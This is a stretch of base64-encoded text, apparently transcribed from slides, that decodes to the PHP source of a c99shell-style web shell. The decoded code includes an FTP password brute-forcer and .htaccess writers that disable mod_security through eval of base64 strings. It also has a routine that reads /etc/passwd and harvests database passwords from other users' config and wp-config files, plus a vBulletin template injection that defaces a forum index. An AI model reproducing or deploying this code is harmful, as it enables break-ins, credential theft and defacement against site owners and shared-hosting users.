ZSB7JGZxYl9sb2dmcCA9IEZBTFNFO30NCiAgICAgJGZxYl9sb2cgPSAiRlRQIFF1aWNrIEJydXRl IChjYWxsZWQgZXZpbGMwZGVyICAiLiRzaHZlci4iKSBzdGFydGVkIGF0ICIuZGF0ZSgiZC5tLlkg SDppOnMiKS4iXHJcblxyXG4iOw0KICAgICBpZiAoJGZxYl9sb2dmaWxlKSB7ZndyaXRlKCRmcWJf bG9nZnAsJGZxYl9sb2csc3RybGVuKCRmcWJfbG9nKSk7fQ0KICAgIH0NCiAgICBvYl9mbHVzaCgp Ow0KICAgICRpID0gJHN1Y2Nlc3MgPSAwOw0KICAgICRmdHBxdWlja19zdCA9IGdldG1pY3JvdGlt ZSgpOw0KICAgIHdoaWxlKCFmZW9mKCRmcCkpDQogICAgew0KICAgICAkc3RyID0gZXhwbG9kZSgi OiIsZmdldHMoJGZwLDIwNDgpKTsNCiAgICAgaWYgKGM5OWZ0cGJydXRlY2hlY2soImxvY2FsaG9z dCIsMjEsMSwkc3RyWzBdLCRzdHJbMF0sJHN0cls2XSwkZnFiX29ubHl3aXRoc2gpKQ0KICAgICB7 DQogICAgICBlY2hvICI8Yj5Db25uZWN0ZWQgdG8gIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIiB3 aXRoIGxvZ2luIFwiIi4kc3RyWzBdLiJcIiBhbmQgcGFzc3dvcmQgXCIiLiRzdHJbMF0uIlwiPC9i Pjxicj4iOw0KICAgICAgJGZxYl9sb2cgLj0gIkNvbm5lY3RlZCB0byAiLmdldGVudigiU0VSVkVS X05BTUUiKS4iIHdpdGggbG9naW4gXCIiLiRzdHJbMF0uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHN0 clswXS4iXCIsIGF0ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iXHJcbiI7DQogICAgICBpZiAoJGZx Yl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9n LHN0cmxlbigkZnFiX2xvZykpO30NCiAgICAgICRzdWNjZXNzKys7DQogICAgICBvYl9mbHVzaCgp Ow0KICAgICB9DQogICAgIGlmICgkaSA+ICRmcWJfbGVuZ2h0KSB7YnJlYWs7fQ0KICAgICAkaSsr Ow0KICAgIH0NCiAgICBpZiAoJHN1Y2Nlc3MgPT0gMCkge2VjaG8gIk5vIHN1Y2Nlc3MuIGNvbm5l Y3Rpb25zISI7ICRmcWJfbG9nIC49ICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyFcclxuIjt9DQog ICAgJGZ0cHF1aWNrX3QgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kZnRwcXVpY2tfc3QsNCk7DQog ICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Yj5Eb25lITwvYj48YnI+VG90YWwgdGlt ZSAoc2Vjcy4pOiAiLiRmdHBxdWlja190LiI8YnI+VG90YWwgY29ubmVjdGlvbnM6ICIuJGkuIjxi cj5TdWNjZXNzLjogPGZvbnQgY29sb3I9Z3JlZW4+PGI+Ii4kc3VjY2Vzcy4iPC9iPjwvZm9udD48 YnI+VW5zdWNjZXNzLjoiLigkaS0kc3VjY2VzcykuIjwvYj48YnI+Q29ubmVjdHMgcGVyIHNlY29u ZDogIi5yb3VuZCgkaS8kZnRwcXVpY2tfdCwyKS4iPGJyPiI7DQogICAgJGZxYl9sb2cgLj0gIlxy XG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuRG9uZSFcclxu VG90YWwgdGltZSAoc2Vjcy4pOiAiLiRmdHBxdWlja190LiJcclxuVG90YWwgY29ubmVjdGlvbnM6 ICIuJGkuIlxyXG5TdWNjZXNzLjogIi4kc3VjY2Vzcy4iXHJcblVuc3VjY2Vzcy46Ii4oJGktJHN1 Y2Nlc3MpLiJcclxuQ29ubmVjdHMgcGVyIHNlY29uZDogIi5yb3VuZCgkaS8kZnRwcXVpY2tfdCwy KS4iXHJcbiI7DQogICAgaWYgKCRmcWJfbG9nZnApIHtmc2VlaygkZnFiX2xvZ2ZwLDApOyBmd3Jp dGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9DQogICAgaWYgKCRmcWJf bG9nZW1haWwpIHtAbWFpbCgkZnFiX2xvZ2VtYWlsLCJjOTlzaGVsbCB2LiAiLiRzaHZlci4iIHJl cG9ydCIsJGZxYl9sb2cpO30NCiAgICBmY2xvc2UoJGZxYl9sb2dmcCk7DQogICB9DQogIH0NCiAg ZWxzZQ0KICB7DQogICAkbG9nZmlsZSA9ICR0bXBkaXJfbG9ncy4iYzk5c2hfZnRwcXVpY2ticnV0 ZV8iLmRhdGUoImQubS5ZX0hfaV9zIikuIi5sb2ciOw0KICAgJGxvZ2ZpbGUgPSBzdHJfcmVwbGFj ZSgiLy8iLERJUkVDVE9SWV9TRVBBUkFUT1IsJGxvZ2ZpbGUpOw0KICAgZWNobyAiPGZvcm0gbWV0 aG9kPVwiUE9TVFwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1cImZ0cHF1aWNr YnJ1dGVcIj48YnI+UmVhZCBmaXJzdDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPVwiZnFiX2xlbmdo dFwiIHZhbHVlPVwiIi4kbml4cHdkcGVycGFnZS4iXCI+PGJyPjxicj5Vc2VycyBvbmx5IHdpdGgg c2hlbGw/Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmcWJfb25seXdpdGhz aFwiIHZhbHVlPVwiMVwiPjxicj48YnI+TG9nZ2luZz8mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNr Ym94XCIgbmFtZT1cImZxYl9sb2dnaW5nXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48YnI+TG9nZ2lu ZyB0byBmaWxlPyZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbG9nZmlsZVwi IHZhbHVlPVwiIi4kbG9nZmlsZS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkbG9nZmlsZSkrMiooc3Ry bGVuKCRsb2dmaWxlKS8xMCkpLiJcIj48YnI+TG9nZ2luZyB0byBlLW1haWw/Jm5ic3A7PGlucHV0 IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZxYl9sb2dlbWFpbFwiIHZhbHVlPVwiIi4kbG9nX2VtYWls LiJcIiBzaXplPVwiIi4oc3RybGVuKCRsb2dlbWFpbCkrMiooc3RybGVuKCRsb2dlbWFpbCkvMTAp KS4iXCI+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJCcnV0 ZVwiPjwvZm9ybT4iOw0KICB9DQogfQ0KfQ0KaWYgKCRhY3QgPT0gImQiKQ0Kew0KIGlmICghaXNf
  • 26. ZGlyKCRkKSkge2VjaG8gIjxjZW50ZXI+PGI+UGVybWlzaW9uIGRlbmllZCE8L2I+PC9jZW50ZXI+ Ijt9DQogZWxzZQ0KIHsNCiAgZWNobyAiPGI+RGlyZWN0b3J5IGluZm9ybWF0aW9uOjwvYj48dGFi bGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPiI7DQogIGlmICghJHdpbikN CiAgew0KICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsNCiAg IC8vJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkKSk7DQogICAvLyRnciA9IHBvc2l4 X2dldGdyZ2lkKGZpbGVncm91cCgkZCkpOw0KICAgJHJvd1tdID0gKCRvd1sibmFtZSJdPyRvd1si bmFtZSJdOmZpbGVvd25lcigkZCkpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdy b3VwKCRkKSk7DQogIH0NCiAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBo cmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nY2htb2QnO2RvY3Vt ZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJGQpLiInO2RvY3VtZW50LnRvZG8uc3VibWl0 KCk7XCI+PGI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkKS4iPC9iPjwvYT48dHI+PHRkPjxiPkNyZWF0 ZSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQpKS4i PC90ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNzIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9t L1kgSDppOnMiLGZpbGVhdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NT0RJRlkgdGlt ZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZW10aW1lKCRkKSkuIjwvdGQ+ PC90cj48L3RhYmxlPjxicj4iOw0KIH0NCn0NCg0KaWYoJGFjdD09Imh0YWNzcyIpew0KZWNobyAi PHRhYmxlIGlkPVwidGFibGU3XCIgc3R5bGU9XCJCT1JERVItUklHSFQ6IGJsYWNrIDJweCBzb2xp ZDsgQk9SREVSLVRPUDogYmxhY2sgMnB4IHNvbGlkOyBCT1JERVItTEVGVDogYmxhY2sgMnB4IHNv bGlkOyBCT1JERVItQk9UVE9NOiBibGFjayAycHggc29saWRcIiB3aWR0aD1cIjEwMCVcIiBiZ0Nv bG9yPVwiIzAwMzMwMFwiIGNvbG9yPVwiYmxhY2tcIj4NCjx0cj4NCjx0ZCB3aWR0aD1cIjUwJVwi Pg0KPGRpdiBzdHlsZT1cImZvbnQtd2VpZ2h0OiBub3JtYWw7IGZvbnQtc2l6ZTogMTJweDsgY29s b3I6IHdoaXRlc21va2U7IGZvbnQtZmFtaWx5OiB0YWhvbWFcIiBhbGlnbj1cImxlZnRcIj4NCjxw IGFsaWduPVwiY2VudGVyXCI+PGI+PGZvbnQgZmFjZT1cInNhbnMgbXNcIiBzaXplPVwiM1wiPg0K PGEgaHJlZj1cIiRwP2E9aHRhY2Nlc3MmaGF0PUZvcmJpZGRlblwiPkZvcmJpZGRlbjwvYT4gLSA8 YSBocmVmPVwiJHA/YT1odGFjY2VzcyZoYXQ9VGVtcG9yYXJpbHlcIj5TZXJ2aWNlIFRlbXBvcmFy aWx5IDwvYT4tDQo8YSBocmVmPVwiJHA/YT1odGFjY2VzcyZoYXQ9VW5hdmFpbGFibGVcIj4gVW5h dmFpbGFibGUgPC9hPi0gPGEgaHJlZj1cIiRwP2E9aHRhY2Nlc3MmaGF0PUVycm9yXCI+SW50ZXJu YWwgU2VydmVyIEVycm9yIDwvYT4tPGEgc3R5bGU9XCJjb2xvcjogI2RhZGFkYTsgdGV4dC1kZWNv cmF0aW9uOiBub25lOyBmb250LWZhbWlseTogdGFob21hOyBmb250LXNpemU6IDEzcHhcIiBocmVm PVwiP2E9Q01EXCI+DQo8L2E+PC9mb250Pjxmb250IHN0eWxlPVwiZm9udC1zaXplOiAxM3B4XCIg Y29sb3I9XCIjREFEQURBXCI+PGEgaHJlZj1cIiRwP2E9aHRhY2Nlc3MmaGF0PUFjY2VwdGFibGVc Ij4gTm90DQpBY2NlcHRhYmxlPC9hPjwvZm9udD48Zm9udCBmYWNlPVwic2FucyBtc1wiIHNpemU9 XCIzXCI+IC08YSBocmVmPVwiJHA/YT1odGFjY2VzcyZoYXQ9cGhwLTRcIj4gYmFjayB2ZXJzaW9u IHBocCB0byA0IDwvYT48L2ZvbnQ+PC9iPjwvZGl2Pg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0K IjsNCnN3aXRjaCAoJGhhdCl7DQpjYXNlIEZvcmJpZGRlbjoNCiRtID0iSkdad1BXWnZjR1Z1SUNn aUxtaDBZV05qWlhOeklpd2dJbUVySWlrN1JuZHlhWFJsSUNna1puQXNJQ0lrY3lJcE8wWmpiRzl6 WlNBbw0KSkdad0tTQTciOw0KJHMgPSAiPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KU2VjRmls dGVyRW5naW5lIE9mZg0KU2VjRmlsdGVyU2NhblBPU1QgT2ZmDQo8L0lmTW9kdWxlPiI7DQpldmFs KGJhc2U2NF9kZWNvZGUoJG0pKTsNCmVjaG8gIkZvcmJpZGRlbiBkb25lIjsNCmJyZWFrOw0KY2Fz ZSBUZW1wb3JhcmlseToNCiRtID0iSkdad1BXWnZjR1Z1SUNnaUxtaDBZV05qWlhOeklpd2dJbUVy SWlrN1JuZHlhWFJsSUNna1puQXNJQ0lrY3lJcE8wWmpiRzl6WlNBbw0KSkdad0tTQTciOw0KJHMg PSAiPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KU2VjRmlsdGVyRW5naW5lIE9mZg0KU2VjRmls dGVyU2NhblBPU1QgT2ZmDQo8L0lmTW9kdWxlPiI7DQpldmFsKGJhc2U2NF9kZWNvZGUoJG0pKTsN CmVjaG8gImRvbmUiOw0KYnJlYWs7DQpjYXNlIFVuYXZhaWxhYmxlOg0KJG0gPSJKR1p3UFdadmNH VnVJQ2dpTG1oMFlXTmpaWE56SWl3Z0ltRXJJaWs3Um5keWFYUmxJQ2drWm5Bc0lDSWtjeUlwTzBa amJHOXpaU0FvDQpKR1p3S1NBNyI7DQokcyA9ICI8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQpT ZWNGaWx0ZXJFbmdpbmUgT2ZmDQpTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+IjsN CmV2YWwoYmFzZTY0X2RlY29kZSgkbSkpOw0KZWNobyAiZG9uZSI7DQpicmVhazsNCmNhc2UgRXJy b3I6DQokbSA9IkpHWndQV1p2Y0dWdUlDZ2lMbWgwWVdOalpYTnpJaXdnSW1FcklpazdSbmR5YVhS bElDZ2tabkFzSUNJa2N5SXBPMFpqYkc5elpTQW8NCkpHWndLU0E3IjsNCiRzID0gIjxJZk1vZHVs ZSBtb2Rfc2VjdXJpdHkuYz4NClNlY0ZpbHRlckVuZ2luZSBPZmYNClNlY0ZpbHRlclNjYW5QT1NU IE9mZg0KPC9JZk1vZHVsZT4iOw0KZXZhbChiYXNlNjRfZGVjb2RlKCRtKSk7DQplY2hvICJkb25l IjsNCmJyZWFrOw0KY2FzZSBBY2NlcHRhYmxlOg0KJG0gPSJKR1p3UFdadmNHVnVJQ2dpTG1oMFlX TmpaWE56SWl3Z0ltRXJJaWs3Um5keWFYUmxJQ2drWm5Bc0lDSWtjeUlwTzBaamJHOXpaU0FvDQpK R1p3S1NBNyI7DQokcyA9ICI8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQpTZWNGaWx0ZXJFbmdp bmUgT2ZmDQpTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+IjsNCmV2YWwoYmFzZTY0 X2RlY29kZSgkbSkpOw0KZWNobyAiYm9uZSI7DQpicmVhazsNCmNhc2UgInBocC00IjoNCiRqID0i Skdad1BXWnZjR1Z1SUNnaUxtaDBZV05qWlhOeklpd2dJbUVySWlrN1JuZHlhWFJsSUNna1puQXNJ Q0lrY3lJcE8wWmpiRzl6WlNBbw0KSkdad0tTQTciOw0KJHMgPSAiQWRkVHlwZSBhcHBsaWNhdGlv
  • 27. bi94LWh0dHBkLXBocDQgLnBocCI7DQpldmFsKGJhc2U2NF9kZWNvZGUoJGopKTsNCmVjaG8gImRv bmUiOw0KYnJlYWs7DQpkZWZhdWx0Og0KZWNobyAiPGNlbnRlcj48aDI+IGh0YWNjZXNzICA8L2gy PjwvY2VudGVyPiI7DQp9DQp9DQoNCmlmICgkYWN0ID09ICJjb25mc3B5IikNCnsNCg0KQCRwYXNz d2Q9Zm9wZW4oJy9ldGMvcGFzc3dkJywncicpOw0KDQppZiAoISRwYXNzd2QpIHsNCg0KICAgZWNo byAiWy1dIEVycm9yIDogICAvZXRjL3Bhc3N3ZCI7DQoNCiAgIGV4aXQ7DQoNCn0NCg0KJHBhdGhf dG9fcHVibGljPWFycmF5KCk7DQoNCiR1c2Vycz1hcnJheSgpOw0KDQokcGF0aHRvY29uZj1hcnJh eSgpOw0KDQokaT0wOw0KDQoNCg0Kd2hpbGUoIWZlb2YoJHBhc3N3ZCkpIHsNCg0KICAkc3RyPWZn ZXRzKCRwYXNzd2QpOw0KDQogIGlmICgkaT4zNSkgew0KDQogICAgJHBvcz1zdHJwb3MoJHN0ciwi OiIpOw0KDQogICAgJHVzZXJuYW1lPXN1YnN0cigkc3RyLDAsJHBvcyk7DQoNCiAgICAkZGlyej0i L2hvbWUvJHVzZXJuYW1lL3B1YmxpY19odG1sLyI7DQoNCiAgICBpZiAoKCR1c2VybmFtZSE9IiIp KSB7DQoNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKCRkaXJ6KSkgew0KDQogICAgICAgICAgICBh cnJheV9wdXNoKCR1c2VycywkdXNlcm5hbWUpOw0KDQogICAgICAgICAgICBhcnJheV9wdXNoKCRw YXRoX3RvX3B1YmxpYywkZGlyeik7DQoNCiAgICAgICAgfQ0KDQogICAgfQ0KDQogIH0NCg0KICAk aSsrOw0KDQp9DQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj DQoNCmVjaG8gIjxicj48YnI+IjsNCg0KZWNobyAiPHRleHRhcmVhIG5hbWU9J21haW5fd2luZG93 JyBjb2xzPTEwMCByb3dzPTIwPiI7DQoNCg0KDQplY2hvICJbK10gRm91bmRlZCAiLnNpemVvZigk dXNlcnMpLiIgZW50cnlzIGluIC9ldGMvcGFzc3dkXG4iOw0KDQplY2hvICJbK10gRm91bmRlZCAi LnNpemVvZigkcGF0aF90b19wdWJsaWMpLiIgcmVhZGFibGUgcHVibGljX2h0bWwgZGlyZWN0b3Jp ZXNcbiI7DQoNCg0KDQplY2hvICJbfl0gU2VhcmNoaW5nIGZvciBwYXNzd29yZHMgaW4gY29uZmln LiogZmlsZXMuLi5cblxuIjsNCg0KZm9yZWFjaCAoJHVzZXJzIGFzICR1c2VyKSB7DQoNCiAgICAg ICAgJHBhdGg9Ii9ob21lLyR1c2VyL3B1YmxpY19odG1sLyI7DQoNCiAgICAgICAgcmVhZF9kaXIo JHBhdGgsJHVzZXIpOw0KDQp9DQoNCg0KDQplY2hvICJcblsrXSBEb25lXG4iOw0KDQoNCg0KZnVu Y3Rpb24gcmVhZF9kaXIoJHBhdGgsJHVzZXJuYW1lKSB7DQoNCiAgICBpZiAoJGhhbmRsZSA9IG9w ZW5kaXIoJHBhdGgpKSB7DQoNCiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUgPSByZWFk ZGlyKCRoYW5kbGUpKSkgew0KDQogICAgICAgICAgICAgICRmcGF0aD0iJHBhdGgkZmlsZSI7DQoN CiAgICAgICAgICAgICAgaWYgKCgkZmlsZSE9Jy4nKSBhbmQgKCRmaWxlIT0nLi4nKSkgew0KDQog ICAgICAgICAgICAgICAgIGlmIChpc19yZWFkYWJsZSgkZnBhdGgpKSB7DQoNCiAgICAgICAgICAg ICAgICAgICAgJGRyPSIkZnBhdGgvIjsNCg0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGly KCRkcikpIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICByZWFkX2RpcigkZHIsJHVzZXJuYW1l KTsNCg0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgZWxzZSB7 DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmaWxlPT0nY29uZmlnLnBocCcpIG9y ICgkZmlsZT09J2NvbmZpZy5pbmMucGhwJykgb3IgKCRmaWxlPT0nZGIuaW5jLnBocCcpIG9yICgk ZmlsZT09J2Nvbm5lY3QucGhwJykgb3IgKCRmaWxlPT0nd3AtY29uZmlnLnBocCcpIG9yICgkZmls ZT09J3Zhci5waHAnKSBvciAoJGZpbGU9PSdjb25maWd1cmUucGhwJykgb3IgKCRmaWxlPT0nZGIu cGhwJykgb3IgKCRmaWxlPT0nZGJfY29ubmVjdC5waHAnKSkgew0KDQogICAgICAgICAgICAgICAg ICAgICAgICAgICAgJHBhc3M9Z2V0X3Bhc3MoJGZwYXRoKTsNCg0KICAgICAgICAgICAgICAgICAg ICAgICAgICAgIGlmICgkcGFzcyE9JycpIHsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgZWNobyAiWytdICRmcGF0aFxuJHBhc3NcbiI7DQoNCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICBmdHBfY2hlY2soJHVzZXJuYW1lLCRwYXNzKTsNCg0KICAgICAgICAgICAgICAg ICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAg ICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgIH0NCg0K ICAgICAgICB9DQoNCiAgICB9DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIGdldF9wYXNzKCRsaW5rKSB7 DQoNCiAgICBAJGNvbmZpZz1mb3BlbigkbGluaywncicpOw0KDQogICAgd2hpbGUoIWZlb2YoJGNv bmZpZykpIHsNCg0KICAgICAgICAkbGluZT1mZ2V0cygkY29uZmlnKTsNCg0KICAgICAgICBpZiAo c3Ryc3RyKCRsaW5lLCdwYXNzJykgb3Igc3Ryc3RyKCRsaW5lLCdwYXNzd29yZCcpIG9yIHN0cnN0 cigkbGluZSwncGFzc3dkJykpIHsNCg0KICAgICAgICAgICAgaWYgKHN0cnJwb3MoJGxpbmUsJyIn KSkNCg0KICAgICAgICAgICAgICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0n KSszKSwoc3RycnBvcygkbGluZSwnIicpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOw0KDQogICAg ICAgICAgICBlbHNlDQoNCiAgICAgICAgICAgICAgICRwYXNzPXN1YnN0cigkbGluZSwoc3RycG9z KCRsaW5lLCc9JykrMyksKHN0cnJwb3MoJGxpbmUsIiciKS0oc3RycG9zKCRsaW5lLCc9JykrMykp KTsNCg0KICAgICAgICAgICAgcmV0dXJuICRwYXNzOw0KDQogICAgICAgIH0NCg0KICAgIH0NCg0K fQ0KDQoNCg0KZnVuY3Rpb24gZnRwX2NoZWNrKCRsb2dpbiwkcGFzcykgew0KDQogICAgIEAkZnRw PWZ0cF9jb25uZWN0KCcxMjcuMC4wLjEnKTsNCg0KICAgICBpZiAoJGZ0cCkgew0KDQogICAgICAg IEAkcmVzPWZ0cF9sb2dpbigkZnRwLCRsb2dpbiwkcGFzcyk7DQoNCiAgICAgICAgaWYgKCRyZXMp IHsNCg0KICAgICAgICAgICBlY2hvICdbRlRQXSAnLiRsb2dpbi4nOicuJHBhc3MuIiAgU3VjY2Vz c1xuIjsNCg0KICAgICAgICB9DQoNCiAgICAgICAgZWxzZSBmdHBfcXVpdCgkZnRwKTsNCg0KICAg ICB9DQoNCn0NCg0KDQoNCg0KZWNobyAiPC90ZXh0YXJlYT48YnI+IjsNCg0KDQplY2hvICI8L2Jv ZHk+PC9odG1sPiI7DQp9DQoNCmlmICgkYWN0ID09ICJpbmRleHgiKQ0Kew0KDQppZihlbXB0eSgk X1BPU1RbJ2luZGV4J10pKXsNCmVjaG8gIjxGT1JNIG1ldGhvZD1cIlBPU1RcIj4NCmhvc3QgOiA8
  • 28. SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJsb2NhbGhvc3RcIiBuYW1lPVwibG9jYWxob3N0XCIg dHlwZT1cInRleHRcIj4NCmRhdGFiYXNlIDogPElOUFVUIHNpemU9XCIxNVwiIHZhbHVlPVwiZm9y dW1fdmJcIiBuYW1lPVwiZGF0YWJhc2VcIiB0eXBlPVwidGV4dFwiPjxicj4NCnVzZXJuYW1lIDog PElOUFVUIHNpemU9XCIxNVwiIHZhbHVlPVwiZm9ydW1fdmJcIiBuYW1lPVwidXNlcm5hbWVcIiB0 eXBlPVwidGV4dFwiPg0KcGFzc3dvcmQgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJ2Ylwi IG5hbWU9XCJwYXNzd29yZFwiIHR5cGU9XCJwYXNzd29yZFwiPjxicj4NCiAgICAgIDxicj4NCjx0 ZXh0YXJlYSBuYW1lPVwiaW5kZXhcIiBjb2xzPVwiNzBcIiByb3dzPVwiMzBcIj5TZXQgWW91ciBJ bmRleDwvdGV4dGFyZWE+PGJyPg0KPElOUFVUIHZhbHVlPVwiU2V0XCIgbmFtZT1cInNlbmRcIiB0 eXBlPVwic3VibWl0XCI+DQo8L0ZPUk0+IjsNCn1lbHNlew0KJGxvY2FsaG9zdCA9ICRfUE9TVFsn bG9jYWxob3N0J107DQokZGF0YWJhc2UgID0gJF9QT1NUWydkYXRhYmFzZSddOw0KJHVzZXJuYW1l ICA9ICRfUE9TVFsndXNlcm5hbWUnXTsNCiRwYXNzd29yZCAgPSAkX1BPU1RbJ3Bhc3N3b3JkJ107 DQokaW5kZXggICAgID0gJF9QT1NUWydpbmRleCddOw0KICAgICAgICAgQG15c3FsX2Nvbm5lY3Qo JGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQog ICAgICAgICBAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkp Ow0KDQokaW5kZXg9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJGluZGV4KTsNCg0KDQokc2V0X2luZGV4 ICA9ICJ7XCR7ZXZhbChiYXNlNjRfZGVjb2RlKFwnIjsNCg0KJHNldF9pbmRleCAuPSBiYXNlNjRf ZW5jb2RlKCJlY2hvIFwiJGluZGV4XCI7Iik7DQoNCg0KJHNldF9pbmRleCAuPSAiXCcpKX19e1wk e2V4aXQoKX19PC90ZXh0YXJlYT4iOw0KDQokb2s9QG15c3FsX3F1ZXJ5KCJVUERBVEUgdGVtcGxh dGUgU0VUIHRlbXBsYXRlID0nIi4kc2V0X2luZGV4LiInIFdIRVJFIHRpdGxlID0nc3BhY2VyX29w ZW4nIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KDQppZigkb2spew0KZWNobyAiISEgdXBkYXRl IGZpbmlzaCAhITxicj48YnI+IjsNCn0NCg0KfQ0KfQ0KDQppZiAoJGFjdCA9PSAicGhwaW5mbyIp IHtAb2JfY2xlYW4oKTsgcGhwaW5mbygpOyBjOTlzaGV4aXQoKTt9DQppZiAoJGFjdCA9PSAic2Vj dXJpdHkiKQ0Kew0KIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9u OjwvYj48L2NlbnRlcj48Yj5PcGVuIGJhc2UgZGlyOiAiLiRob3BlbmJhc2VkaXIuIjwvYj48YnI+ IjsNCiBpZiAoISR3aW4pDQogew0KICBpZiAoJG5peHBhc3N3ZCkNCiAgew0KICAgaWYgKCRuaXhw YXNzd2QgPT0gMSkgeyRuaXhwYXNzd2QgPSAwO30NCiAgIGVjaG8gIjxiPipuaXggL2V0Yy9wYXNz d2Q6PC9iPjxicj4iOw0KICAgaWYgKCFpc19udW1lcmljKCRuaXhwd2RfcykpIHskbml4cHdkX3Mg PSAwO30NCiAgIGlmICghaXNfbnVtZXJpYygkbml4cHdkX2UpKSB7JG5peHB3ZF9lID0gJG5peHB3 ZHBlcnBhZ2U7fQ0KICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxpbnB1dCB0eXBlPWhp ZGRlbiBuYW1lPWFjdCB2YWx1ZT1cInNlY3VyaXR5XCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9 XCJuaXhwYXNzd2RcIiB2YWx1ZT1cIjFcIj48Yj5Gcm9tOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1c InRleHQ9XCIgbmFtZT1cIm5peHB3ZF9zXCIgdmFsdWU9XCIiLiRuaXhwd2Rfcy4iXCI+Jm5ic3A7 PGI+VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJuaXhwd2RfZVwiIHZh bHVlPVwiIi4kbml4cHdkX2UuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIlZp ZXdcIj48L2Zvcm0+PGJyPiI7DQogICAkaSA9ICRuaXhwd2RfczsNCiAgIHdoaWxlICgkaSA8ICRu aXhwd2RfZSkNCiAgIHsNCiAgICAkdWlkID0gcG9zaXhfZ2V0cHd1aWQoJGkpOw0KICAgIGlmICgk dWlkKQ0KICAgIHsNCiAgICAgJHVpZFsiZGlyIl0gPSAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwi ZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2xzJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJs ZW5jb2RlKCR1aWRbImRpciJdKS4iJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPiIuJHVpZFsi ZGlyIl0uIjwvYT4iOw0KICAgICBlY2hvIGpvaW4oIjoiLCR1aWQpLiI8YnI+IjsNCiAgICB9DQog 